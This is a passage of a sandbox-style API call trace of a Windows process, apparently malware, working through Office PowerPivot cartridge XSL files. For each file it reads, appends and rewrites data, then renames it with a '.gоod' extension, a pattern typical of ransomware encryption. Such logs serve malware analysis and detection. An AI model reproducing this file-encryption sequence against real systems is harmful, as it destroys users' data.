lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x166ea6b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0239.240] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0239.241] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0239.241] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0239.241] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0239.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0239.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0239.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0239.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges", lpFilePart=0x0) returned 0x59 [0239.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0239.243] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16677f4b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16677f4b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x166ea6b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0239.244] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0239.245] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0239.245] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0239.245] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0239.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0239.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0239.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0239.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), fInfoLevelId=0x0, lpFileInformation=0x38568c8 | out: lpFileInformation=0x38568c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4)) returned 1 [0239.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0239.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.247] GetFileType (hFile=0x85c) returned 0x1 [0239.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.247] GetFileType (hFile=0x85c) returned 0x1 [0239.247] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0239.247] ReadFile (in: hFile=0x85c, lpBuffer=0x3856d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3856d40*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0239.249] CloseHandle (hObject=0x85c) returned 1 [0239.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.249] GetFileType (hFile=0x85c) returned 0x1 [0239.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.249] GetFileType (hFile=0x85c) returned 0x1 [0239.249] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x43e4 [0239.249] WriteFile (in: hFile=0x85c, lpBuffer=0x385a1c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x385a1c8*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0239.250] CloseHandle (hObject=0x85c) returned 1 [0239.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.251] GetFileType (hFile=0x85c) returned 0x1 [0239.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.251] GetFileType (hFile=0x85c) returned 0x1 [0239.251] ReadFile (in: hFile=0x85c, lpBuffer=0x385ec98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x385ec98*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0239.406] CloseHandle (hObject=0x85c) returned 1 [0239.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.406] GetFileType (hFile=0x85c) returned 0x1 [0239.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.407] GetFileType (hFile=0x85c) returned 0x1 [0239.407] WriteFile (in: hFile=0x85c, lpBuffer=0x36c4c18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x36c4c18*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0239.407] CloseHandle (hObject=0x85c) returned 1 [0239.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl", lpFilePart=0x0) returned 0x62 [0239.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.gоod", lpFilePart=0x0) returned 0x67 [0239.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0239.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8ae80629, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x43f4)) returned 1 [0239.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0239.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl.gоod")) returned 1 [0239.409] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0239.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0239.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3767d90 | out: lpFileInformation=0x3767d90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba)) returned 1 [0239.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0239.409] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0239.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0239.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0239.410] GetFileType (hFile=0x85c) returned 0x1 [0239.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0239.410] GetFileType (hFile=0x85c) returned 0x1 [0239.410] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0239.411] ReadFile (in: hFile=0x85c, lpBuffer=0x3768208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3768208*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0240.189] CloseHandle (hObject=0x85c) returned 1 [0240.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0240.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.189] GetFileType (hFile=0x85c) returned 0x1 [0240.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.199] GetFileType (hFile=0x85c) returned 0x1 